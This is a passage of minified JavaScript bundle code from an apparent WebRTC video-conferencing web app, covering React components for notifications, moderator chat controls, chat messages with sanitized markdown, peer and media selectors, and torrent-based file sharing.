specs.",h,i),"DEFINE_MANY_MERGED"===h?r[i]=p(r[i],s):"DEFINE_MANY"===h&&(r[i]=m(r[i],s))}else r[i]=s}}}else;}function f(e,t){for(var n in a(e&&t&&"object"==typeof e&&"object"==typeof t,"mergeIntoWithNoDuplicateKeys(): Cannot merge non-objects."),t)t.hasOwnProperty(n)&&(a(void 0===e[n],"mergeIntoWithNoDuplicateKeys(): Tried to merge two objects with the same key: `%s`. This conflict may be due to a mixin; in particular, this may be caused by two getInitialState() or getDefaultProps() methods returning objects with clashing keys.",n),e[n]=t[n]);return e}function p(e,t){return function(){var n=e.apply(this,arguments),r=t.apply(this,arguments);if(null==n)return r;if(null==r)return n;var o={};return f(o,n),f(o,r),o}}function m(e,t){return function(){e.apply(this,arguments),t.apply(this,arguments)}}function h(e,t){return t.bind(e)}var v={componentDidMount:function(){this.__isMounted=!0}},g={componentWillUnmount:function(){this.__isMounted=!1}},b={replaceState:function(e,t){this.updater.enqueueReplaceState(this,e,t)},isMounted:function(){return!!this.__isMounted}},y=function(){};return r(y.prototype,e.prototype,b),function(e){var t=function(e,r,i){this.__reactAutoBindPairs.length&&function(e){for(var t=e.__reactAutoBindPairs,n=0;n<t.length;n+=2){var r=t[n],o=t[n+1];e[r]=h(e,o)}}(this),this.props=e,this.context=r,this.refs=o,this.updater=i||n,this.state=null;var l=this.getInitialState?this.getInitialState():null;a("object"==typeof l&&!Array.isArray(l),"%s.getInitialState(): must return an object or null",t.displayName||"ReactCompositeComponent"),this.state=l};for(var r in t.prototype=new y,t.prototype.constructor=t,t.prototype.__reactAutoBindPairs=[],i.forEach(d.bind(null,t)),d(t,v),d(t,e),d(t,g),t.getDefaultProps&&(t.defaultProps=t.getDefaultProps()),a(t.prototype.render,"createClass(...): Class specification must implement a `render` method."),l)t.prototype[r]||(t.prototype[r]=null);return t}}},"1738cd75b0bf88315668":function(e,t,n){"use strict";n.r(t);var r=n("8af190b70a6bc55c6f1b"),o=n.n(r),a=n("0a81c721557e72a0975d"),i=n("8a2d1b95e05b6a321e74"),l=n.n(i),s=(l.a.shape({state:l.a.oneOf(["new","connecting","connected","closed"]).isRequired,activeSpeakerId:l.a.string}),l.a.shape({id:l.a.string.isRequired,canSendMic:l.a.bool.isRequired,canSendWebcam:l.a.bool.isRequired,webcamInProgress:l.a.bool.isRequired}),l.a.shape({id:l.a.string.isRequired,source:l.a.oneOf(["mic","webcam","screen","extravideo"]).isRequired,deviceLabel:l.a.string,type:l.a.oneOf(["front","back","screen","extravideo"]),paused:l.a.bool.isRequired,track:l.a.any,codec:l.a.string.isRequired}),l.a.shape({id:l.a.string.isRequired,displayName:l.a.string,consumers:l.a.arrayOf(l.a.string).isRequired}),l.a.shape({id:l.a.string.isRequired,peerId:l.a.string.isRequired,source:l.a.oneOf(["mic","webcam","screen","extravideo"]).isRequired,locallyPaused:l.a.bool.isRequired,remotelyPaused:l.a.bool.isRequired,profile:l.a.oneOf(["none","default","low","medium","high"]),track:l.a.any,codec:l.a.string}),l.a.shape({id:l.a.string.isRequired,type:l.a.oneOf(["info","error"]).isRequired,timeout:l.a.number}),l.a.shape({type:l.a.string,component:l.a.string,text:l.a.string,sender:l.a.string}),l.a.shape({data:l.a.shape({id:l.a.string.isRequired,picture:l.a.string,file:l.a.shape({magnet:l.a.string.isRequired}).isRequired,me:l.a.bool}).isRequired,notify:l.a.func.isRequired}),n("398fee01cee86d8d3bfd")),c=n("10d022543e681d18c038"),u=n.n(c),d=n("bd5ed46bd8af722fa6e9"),f=function(e){return{type:"SET_TOOL_TAB",payload:{toolTab:e}}},p=n("82071990573f3d7f36d7");function m(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var h={fullscreenEnabled:0,fullscreenElement:1,requestFullscreen:2,exitFullscreen:3,fullscreenchange:4,fullscreenerror:5},v=["webkitFullscreenEnabled","webkitFullscreenElement","webkitRequestFullscreen","webkitExitFullscreen","webkitfullscreenchange","webkitfullscreenerror"],g=["mozFullScreenEnabled","mozFullScreenElement","mozRequestFullScreen","mozCancelFullScreen","mozfullscreenchange","mozfullscreenerror"],b=["msFullscreenEnabled","msFullscreenElement","msRequestFullscreen","msExitFullscreen","MSFullscreenChange","MSFullscreenError"],y=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.document=t,this.vendor="fullscreenEnabled"in this.document&&Object.keys(h)||v[0]in this.document&&v||g[0]in this.document&&g||b[0]in this.document&&b||[]}var t,n,r;return t=e,(n=[{key:"requestFullscreen",value:function(e){e[this.vendor[h.requestFullscreen]]()}},{key:"requestFullscreenFunction",value:function(e){e[this.vendor[h.requestFullscreen]]}},{key:"addEventListener",value:function(e,t){this.document.addEventListener(this.vendor[h[e]],t)}},{key:"removeEventListener",value:function(e,t){this.document.removeEventListener(this.vendor[h[e]],t)}},{key:"exitFullscreen",get:function(){return this.document[this.vendor[h.exitFullscreen]].bind(this.document)}},{key:"fullscreenEnabled",get:function(){return Boolean(this.document[this.vendor[h.fullscreenEnabled]])},set:function(e){}},{key:"fullscreenElement",get:function(){return this.document[this.vendor[h.fullscreenElement]]},set:function(e){}},{key:"onfullscreenchange",get:function(){return this.document["on".concat(this.vendor[h.fullscreenchange]).toLowerCase()]},set:function(e){this.document["on".concat(this.vendor[h.fullscreenchange]).toLowerCase()]=e}},{key:"onfullscreenerror",get:function(){return this.document["on".concat(this.vendor[h.fullscreenerror]).toLowerCase()]},set:function(e){this.document["on".concat(this.vendor[h.fullscreenerror]).toLowerCase()]=e}}])&&m(t.prototype,n),r&&m(t,r),e}(),w=n("d0bf3d418af59ec9fd31"),S=n("ac160b6fcf660d33d174"),O=n.n(S),M=n("7aa8db87e3c9e814f06d"),C=n("efd782e5493ed077ea17"),k=n("7c819471f8086f26a136"),P=n("51df9c24db5e579a6edf"),x=n("919cc0a99c240fc25959"),A=n("cc90f105f9f6b8c2ba0a");function E(e){return(E="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function T(e){return function(e){if(Array.isArray(e))return j(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return j(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return j(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function j(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function _(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function N(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function I(e,t){return(I=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function R(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=F(e);if(t){var o=F(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return L(this,n)}}function L(e,t){return!t||"object"!==E(t)&&"function"!=typeof t?D(e):t}function D(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function F(e){return(F=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function B(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var V=window.config.notificationPosition||"right",U=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&I(e,t)}(a,e);var t,n,r,o=R(a);function a(){var e;_(this,a);for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];return B(D(e=o.call.apply(o,[this].concat(n))),"displayed",[]),B(D(e),"storeDisplayed",(function(t){e.displayed=[].concat(T(e.displayed),[t])})),e}return t=a,(n=[{key:"shouldComponentUpdate",value:function(e){for(var t=e.notifications,n=void 0===t?[]:t,r=this.props.notifications,o=!1,a=function(e){if(o)return"continue";o=o||!r.filter((function(t){var r=t.id;return n[e].id===r})).length},i=0;i<n.length;i+=1)a(i);return o}},{key:"componentDidUpdate",value:function(){var e=this,t=this.props.notifications;(void 0===t?[]:t).forEach((function(t){e.displayed.includes(t.id)||(e.props.enqueueSnackbar(t.text,{variant:t.type,autoHideDuration:t.timeout,anchorOrigin:{vertical:"bottom",horizontal:V}}),e.storeDisplayed(t.id),e.props.removeNotification(t.id))}))}},{key:"render",value:function(){return null}}])&&N(t.prototype,n),r&&N(t,r),a}(r.Component),H=Object(x.b)(Object(a.connect)((function(e){return{notifications:e.notifications}}),(function(e){return{removeNotification:function(t){return e(A.c({notificationId:t}))}}}),null,{areStatesEqual:function(e,t){return t.notifications===e.notifications}})(U)),z=n("a28fc3c963a1d4d1a2e5");function W(e){return function(e){if(Array.isArray(e))return q(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||$(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function $(e,t){if(e){if("string"==typeof e)return q(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?q(e,t):void 0}}function q(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Y,G=function(e){return e.me.roles},K=function(e){return e.room.roomPermissions},X=function(e){return e.room.allowWhenRoleMissing},J=function(e){return e.producers},Q=function(e){return e.consumers},Z=function(e){return e.room.spotlights},ee=function(e){return e.peers},te=function(e,t){return e.peers[t]?e.peers[t].consumers:null},ne=function(e){return e.consumers},re=Object(z.createSelector)(ee,(function(e){return Object.keys(e)})),oe=Object(z.createSelector)(ee,(function(e){return Object.values(e)})),ae=Object(z.createSelector)((function(e){return e.lobbyPeers}),(function(e){return Object.keys(e)})),ie=(Object(z.createSelector)(J,(function(e){return Object.values(e).filter((function(e){return"mic"===e.source}))})),Object(z.createSelector)(J,(function(e){return Object.values(e).filter((function(e){return"webcam"===e.source}))})),Object(z.createSelector)(J,(function(e){return Object.values(e).filter((function(e){return"screen"===e.source}))}))),le=Object(z.createSelector)(J,(function(e){return Object.values(e).filter((function(e){return"extravideo"===e.source}))})),se=Object(z.createSelector)(J,(function(e){return Object.values(e).find((function(e){return"mic"===e.source}))})),ce=Object(z.createSelector)(J,(function(e){return Object.values(e).find((function(e){return"webcam"===e.source}))})),ue=Object(z.createSelector)(J,(function(e){return Object.values(e).find((function(e){return"screen"===e.source}))})),de=Object(z.createSelector)(Q,(function(e){return Object.values(e).filter((function(e){return"mic"===e.source}))})),fe=(Object(z.createSelector)(Q,(function(e){return Object.values(e).filter((function(e){return"webcam"===e.source}))})),Object(z.createSelector)(Q,(function(e){return Object.values(e).filter((function(e){return"screen"===e.source}))})),Object(z.createSelector)(Z,Q,(function(e,t){return Object.values(t).filter((function(t){return"screen"===t.source&&e.includes(t.peerId)}))}))),pe=Object(z.createSelector)(Z,Q,(function(e,t){return Object.values(t).filter((function(t){return"extravideo"===t.source&&e.includes(t.peerId)}))})),me=(Object(z.createSelector)(Z,Q,(function(e,t){return Object.values(t).filter((function(t){return"mic"===t.source&&!e.includes(t.peerId)}))})),Object(z.createSelector)(G,(function(e){return e.room.userRoles}),(function(e,t){var n,r=0,o=function(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=$(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,o=function(){};return{s:o,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,i=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return i=e.done,e},e:function(e){l=!0,a=e},f:function(){try{i||null==n.return||n.return()}finally{if(l)throw a}}}}(e);try{for(o.s();!(n=o.n()).done;){var a=n.value,i=t.get(a).level;i>r&&(r=i)}}catch(e){o.e(e)}finally{o.f()}return r}))),he=Object(z.createSelector)(Z,(function(e){return e.length})),ve=Object(z.createSelector)(Z,re,(function(e,t){return t.filter((function(t){return e.includes(t)}))})),ge=Object(z.createSelector)(Z,oe,(function(e,t){return t.filter((function(t){return e.includes(t.id)&&!t.raisedHand})).sort((function(e,t){return String(e.displayName||"").localeCompare(String(t.displayName||""))}))})),be=Object(z.createSelector)(oe,(function(e){return e.filter((function(e){return e.raisedHand})).sort((function(e,t){return e.raisedHandTimestamp-t.raisedHandTimestamp}))})),ye=Object(z.createSelector)(Z,oe,(function(e,t){return t.filter((function(t){return!e.includes(t.id)&&!t.raisedHand})).sort((function(e,t){return String(e.displayName||"").localeCompare(String(t.displayName||""))}))})),we=Object(z.createSelector)(be,ge,ye,(function(e,t,n){return[].concat(W(e),W(t),W(n))})),Se=Object(z.createSelector)(ee,(function(e){return Object.values(e).length})),Oe=(Object(z.createSelector)(oe,Z,(function(e,t){return e.filter((function(e){return!t.includes(e.id)})).sort((function(e,t){return String(e.displayName||"").localeCompare(String(t.displayName||""))}))})),Object(z.createSelector)(oe,(function(e){return e.reduce((function(e,t){return e+(t.raisedHand?1:0)}),0)}))),Me=Object(z.createSelector)(he,ie,fe,le,pe,(function(e,t,n,r,o){return e+1+t.length+n.length+r.length+o.length})),Ce=Object(z.createSelector)(se,ce,ue,le,(function(e,t,n,r){return{micProducer:e,webcamProducer:t,screenProducer:n,extraVideoProducers:r}})),ke=function(){return Object(z.createSelector)(te,ne,(function(e,t){if(!e)return null;var n=e.map((function(e){return t[e]}));return{micConsumer:n.find((function(e){return"mic"===e.source})),webcamConsumer:n.find((function(e){return"webcam"===e.source})),screenConsumer:n.find((function(e){return"screen"===e.source})),extraVideoConsumers:n.filter((function(e){return"extravideo"===e.source}))}}))},Pe=function(e){return Object(z.createSelector)(G,K,X,oe,(function(t,n,r,o){return!!n&&(!!t.some((function(t){return n[e].some((function(e){return t===e.id}))}))||!!r&&!(!r.includes(e)||0!==o.filter((function(t){return t.roles.some((function(t){return n[e].some((function(e){return t===e.id}))}))})).length))}))},xe=n("aaca88ab30e76d571cff"),Ae=n("3a1f560dcc2cef217ef6"),Ee=n("016e72efd45bf6ae01f9"),Te=n("1977fad39392966fc780"),je=n("96cfee79080e19c058c9"),_e=n("b5b7bafeb7add2b1fc09"),Ne=n("6c4a90375630c806c9b8"),Ie=n("3a6caa5e7d8f3d8776b0"),Re=n("a11eacdcf2a3861858dc");function Le(e,t,n,r){Y||(Y="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Y,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var De,Fe=Le(w.a,{id:"room.moderatoractions",defaultMessage:"Moderator actions"}),Be=Le(w.a,{id:"room.clearChat",defaultMessage:"Clear chat"}),Ve=Object(Ne.b)(Object(a.connect)((function(){var e=Pe(Ie.a.MODERATE_CHAT);return function(t){return{isChatModerator:e(t),room:t.room}}}),null,null,{areStatesEqual:function(e,t){return t.room===e.room&&t.me===e.me&&t.peers===e.peers}})(Object(s.a)((function(e){return{root:{display:"flex",padding:e.spacing(1),boxShadow:"0 2px 5px 2px rgba(0, 0, 0, 0.2)",backgroundColor:"rgba(255, 255, 255, 1)"},listheader:{padding:e.spacing(1),fontWeight:"bolder"},actionButton:{marginLeft:"auto"}}}))((function(e){var t=Object(xe.a)(),n=e.roomClient,r=e.isChatModerator,o=e.room,a=e.classes;return r?Le("ul",{className:a.root},void 0,Le("li",{className:a.listheader},void 0,Fe),Le(Re.a,{"aria-label":t.formatMessage({id:"room.clearChat",defaultMessage:"Clear chat"}),className:a.actionButton,variant:"contained",color:"secondary",disabled:o.clearChatInProgress,onClick:function(){return n.clearChat()}},void 0,Be)):null})))),Ue=n("ff3fccdf7d553af98930"),He=n("b912ecc4473ae8a2ff0b"),ze=n.n(He),We=n("01b038624dd1bb711292"),$e=n.n(We),qe=n("c636ec9ae7efb340284a"),Ye=n.n(qe),Ge=n("85b71a27cbcf93ff4854");function Ke(e,t,n,r){De||(De="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:De,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var Xe=new Ye.a.Renderer;Xe.link=function(e,t,n){return t=t||e,n=n||e,"<a target='_blank' href='".concat(e,"' title='").concat(t,"'>").concat(n,"</a>")};var Je,Qe=Object(s.a)((function(e){return{root:{display:"flex",marginBottom:e.spacing(1),padding:e.spacing(1),flexShrink:0},selfMessage:{marginLeft:"auto"},remoteMessage:{marginRight:"auto"},text:{"& p":{margin:0}},content:{marginLeft:e.spacing(1)},avatar:{borderRadius:"50%",height:"2rem",alignSelf:"center"}}}))((function(e){var t=Object(xe.a)(),n=e.self,r=e.picture,o=e.text,a=e.time,i=e.name,l=e.classes;return Ke(_e.a,{className:ze()(l.root,n?l.selfMessage:l.remoteMessage)},void 0,Ke("img",{alt:"Avatar",className:l.avatar,src:r}),Ke("div",{className:l.content},void 0,Ke(Ge.a,{className:l.text,variant:"subtitle1",dangerouslySetInnerHTML:{__html:$e.a.sanitize(Ye.a.parse(o,{renderer:Xe}),{ALLOWED_TAGS:["a"],ALLOWED_ATTR:["href","target","title"]})}}),Ke(Ge.a,{variant:"caption"},void 0,n?t.formatMessage({id:"room.me",defaultMessage:"Me"}):i," - ",a)))})),Ze=n.p+"bff7a8a8361fcd91c27edd26ccfe11bd.jpeg";function et(e){return(et="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function tt(e,t,n,r){Je||(Je="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Je,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function nt(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function rt(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function ot(e,t){return(ot=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function at(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=lt(e);if(t){var o=lt(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return it(this,n)}}function it(e,t){return!t||"object"!==et(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function lt(e){return(lt=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var st,ct=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&ot(e,t)}(i,e);var t,n,r,a=at(i);function i(){return nt(this,i),a.apply(this,arguments)}return t=i,(n=[{key:"componentDidMount",value:function(){this.node.scrollTop=this.node.scrollHeight}},{key:"getSnapshotBeforeUpdate",value:function(){return this.node.scrollTop+this.node.offsetHeight===this.node.scrollHeight}},{key:"shouldComponentUpdate",value:function(e){return e.chat.length!==this.props.chat.length}},{key:"componentDidUpdate",value:function(e,t,n){n&&(this.node.scrollTop=this.node.scrollHeight)}},{key:"getTimeString",value:function(e){return tt(Ue.FormattedTime,{value:new Date(e)})}},{key:"render",value:function(){var e=this,t=this.props,n=t.chat,r=t.myPicture,a=t.classes;return o.a.createElement("div",{className:a.root,ref:function(t){e.node=t}},n.map((function(t,n){var o=("response"===t.sender?t.picture:r)||Ze;return tt(Qe,{self:"client"===t.sender,picture:o,text:t.text,time:e.getTimeString(t.time),name:t.name},n)})))}}])&&rt(t.prototype,n),r&&rt(t,r),i}(o.a.Component),ut=Object(a.connect)((function(e){return{chat:e.chat,myPicture:e.me.picture}}),null,null,{areStatesEqual:function(e,t){return t.chat===e.chat&&t.me.picture===e.me.picture}})(Object(s.a)((function(e){return{root:{height:"100%",display:"flex",flexDirection:"column",alignItems:"center",overflowY:"auto",padding:e.spacing(1)}}}))(ct)),dt=n("fdae765a9a200f4374cf"),ft=n("73c491490691b18f8f8a"),pt=n("bfec535eb0228f100d8c");function mt(e,t,n,r){st||(st="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:st,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function ht(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,a=[],i=!0,l=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(a.push(r.value),!t||a.length!==t);i=!0);}catch(e){l=!0,o=e}finally{try{i||null==n.return||n.return()}finally{if(l)throw o}}return a}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return vt(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return vt(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function vt(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var gt,bt=mt(n.n(pt).a,{}),yt=Object(Ne.b)(Object(a.connect)((function(){var e=Pe(Ie.a.SEND_CHAT);return function(t){return{displayName:t.settings.displayName,picture:t.me.picture,canChat:e(t)}}}),null,null,{areStatesEqual:function(e,t){return t.room===e.room&&t.me.roles===e.me.roles&&t.peers===e.peers&&t.settings.displayName===e.settings.displayName&&t.me.picture===e.me.picture}})(Object(s.a)((function(e){return{root:{padding:e.spacing(1),display:"flex",alignItems:"center",borderRadius:0},input:{marginLeft:8,flex:1},iconButton:{padding:10}}}))((function(e){var t=ht(Object(r.useState)(""),2),n=t[0],o=t[1],a=Object(xe.a)(),i=function(e,t,n,r){return{type:"message",text:e,time:Date.now(),name:n,sender:t,picture:r}},l=e.roomClient,s=e.displayName,c=e.picture,u=e.canChat,d=e.classes;return mt(_e.a,{className:d.root},void 0,mt(dt.a,{className:d.input,placeholder:a.formatMessage({id:"label.chatInput",defaultMessage:"Enter chat message..."}),value:n||"",disabled:!u,onChange:function(e){o(e.target.value)},onKeyPress:function(e){if("Enter"===e.key&&(e.preventDefault(),n&&""!==n)){var t=i(n,"response",s,c);l.sendChatMessage(t),o("")}},autoFocus:!0}),mt(ft.a,{color:"primary",className:d.iconButton,"aria-label":"Send",disabled:!u,onClick:function(){if(n&&""!==n){var e=i(n,"response",s,c);l.sendChatMessage(e),o("")}}},void 0,bt))}))));function wt(e,t,n,r){gt||(gt="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:gt,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var St,Ot=wt(Ve,{}),Mt=wt(ut,{}),Ct=wt(yt,{}),kt=Object(s.a)((function(){return{root:{display:"flex",flexDirection:"column",width:"100%",height:"100%",overflowY:"auto"}}}))((function(e){var t=e.classes;return wt(_e.a,{className:t.root},void 0,Ot,Mt,Ct)})),Pt=n("39bf79e5e39b4ace30f7"),xt=n("26d74b09a0642d06f9fd"),At=n.n(xt);function Et(e){return(Et="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Tt(e,t,n,r){St||(St="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:St,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function jt(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function _t(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Nt(e,t){return(Nt=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function It(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Lt(e);if(t){var o=Lt(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Rt(this,n)}}function Rt(e,t){return!t||"object"!==Et(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Lt(e){return(Lt=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var Dt,Ft=Tt(w.a,{id:"filesharing.finished",defaultMessage:"File finished downloading"}),Bt=Tt(w.a,{id:"filesharing.save",defaultMessage:"Save"}),Vt=Tt(w.a,{id:"filesharing.download",defaultMessage:"Download"}),Ut=Tt(w.a,{id:"label.fileSharingUnsupported",defaultMessage:"File sharing not supported"}),Ht=Tt(w.a,{id:"filesharing.missingSeeds",defaultMessage:"If this process takes a long time, there might not \n\t\t\t\t\t\t\t\t\tbe anyone seeding this torrent. Try asking someone to \n\t\t\t\t\t\t\t\t\treupload the file that you want."}),zt=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Nt(e,t)}(i,e);var t,n,o,a=It(i);function i(){return jt(this,i),a.apply(this,arguments)}return t=i,(n=[{key:"render",value:function(){var e=this.props,t=e.roomClient,n=e.displayName,o=e.picture,a=e.canShareFiles,i=e.magnetUri,l=e.file,s=e.classes;return Tt("div",{className:s.root},void 0,Tt("img",{alt:"Avatar",className:s.avatar,src:o}),Tt("div",{className:s.fileContent},void 0,l.files&&Tt(r.Fragment,{},void 0,Tt(Ge.a,{className:s.text},void 0,Ft),l.files.map((function(e,n){return Tt("div",{className:s.fileInfo},n,Tt(Ge.a,{className:s.text},void 0,e.name),Tt(Re.a,{variant:"contained",component:"span",className:s.button,onClick:function(){t.saveFile(e)}},void 0,Bt))}))),Tt(Ge.a,{className:s.text},void 0,Tt(w.a,{id:"filesharing.sharedFile",defaultMessage:"{displayName} shared a 